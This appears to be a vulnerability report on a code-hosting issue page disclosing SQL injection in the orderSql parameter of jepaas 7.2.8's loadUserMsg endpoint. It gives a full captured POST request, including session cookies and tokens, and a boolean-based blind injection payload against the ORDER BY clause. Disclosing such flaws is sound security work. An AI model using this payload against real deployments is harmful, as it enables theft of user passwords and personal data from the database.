orderSql parameter has SQL injection

**（1）Post request package** ：
POST /je/portal/homePortal/loadUserMsg HTTP/1.1
Host: example.jepaas.com
Cookie: password=TVRJeg==; je-local-lang=zh_CN; JSESSIONID=6958CD63BEE46EAAC149A9C85C147AA4; phone=admin; authorization=LNOsrQFzj1MjITPLYzA
Content-Length: 874
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sys_security: 1
Sec-Ch-Ua-Mobile: ?0
Authorization: LNOsrQFzj1MjITPLYzA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cachekey: 
Platform-Agent: AppleWebKit/537.36 (KHTML, like Gecko)
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://example.jepaas.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://example.jepaas.com/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

startTime=&endTime=&keyword=&start=0&limit=10&readStatus=WD&tableCode=JE_SYS_USERMSG&orderSql=ORDER%20BY%20SY_CREATETIME%20DESC&whereSql=AND%20USERMSG_JSR_ID%3D'JpgiKFpmxaG9szjInM0'%20AND%20USERMSG_MSGTYPE_CODE%20IN%20('MSG'%2C'DISK'%2C'RZ'%2C'RC'%2C'XSSLH'%2C'XS'%2C'XSXS'%2C'KH'%2C'GH'%2C'WY'%2C'HTHK')%20AND%20USERMSG_YD%20%3D%20'0'&j_query=%7B%22custom%22%3A%5B%7B%22type%22%3A%22%3D%22%2C%22code%22%3A%22USERMSG_JSR_ID%22%2C%22value%22%3A%22JpgiKFpmxaG9szjInM0%22%7D%2C%7B%22type%22%3A%22in%22%2C%22code%22%3A%22USERMSG_MSGTYPE_CODE%22%2C%22value%22%3A%5B%22MSG%22%2C%22DISK%22%2C%22RZ%22%2C%22RC%22%2C%22XSSLH%22%2C%22XS%22%2C%22XSXS%22%2C%22KH%22%2C%22GH%22%2C%22WY%22%2C%22HTHK%22%5D%7D%2C%7B%22type%22%3A%22%3D%22%2C%22code%22%3A%22USERMSG_YD%22%2C%22value%22%3A%220%22%7D%5D%2C%22order%22%3A%5B%7B%22type%22%3A%22DESC%22%2C%22code%22%3A%22SY_CREATETIME%22%7D%5D%7D

**（2）SQL injection payload:** 
Parameter: orderSql (POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload: startTime=&endTime=&keyword=&start=0&limit=10&readStatus=WD&tableCode=JE_SYS_USERMSG&orderSql=ORDER BY SY_CREATETIME DESC,(SELECT (CASE WHEN (5803=5803) THEN 1 ELSE 5803*(SELECT 5803 FROM INFORMATION_SCHEMA.PLUGINS) END))&whereSql=AND USERMSG_JSR_ID='JpgiKFpmxaG9szjInM0' AND USERMSG_MSGTYPE_CODE IN ('MSG','DISK','RZ','RC','XSSLH','XS','XSXS','KH','GH','WY','HTHK') AND USERMSG_YD = '0'&j_query={"custom":[{"type":"=","code":"USERMSG_JSR_ID","value":"JpgiKFpmxaG9szjInM0"},{"type":"in","code":"USERMSG_MSGTYPE_CODE","value":["MSG","DISK","RZ","RC","XSSLH","XS","XSXS","KH","GH","WY","HTHK"]},{"type":"=","code":"USERMSG_YD","value":"0"}],"order":[{"type":"DESC","code":"SY_CREATETIME"}]}

![输入图片说明](https://foruda.gitee.com/images/1725636736277494859/a435c19d_14866048.png "屏幕截图")

（3）OrderSQL parameter has SQL injection impact version: jepaas - 7.2.8
Attackers can obtain sensitive information in the database, such as user passwords, personal information, and trade secrets, through SQL injection

北京凯特伟业科技有限公司/jepaas-release

Content Risk Flag

Comments (0)

北京凯特伟业科技有限公司/jepaas-release .gitee-modal { width: 500px !important; }

Content Risk Flag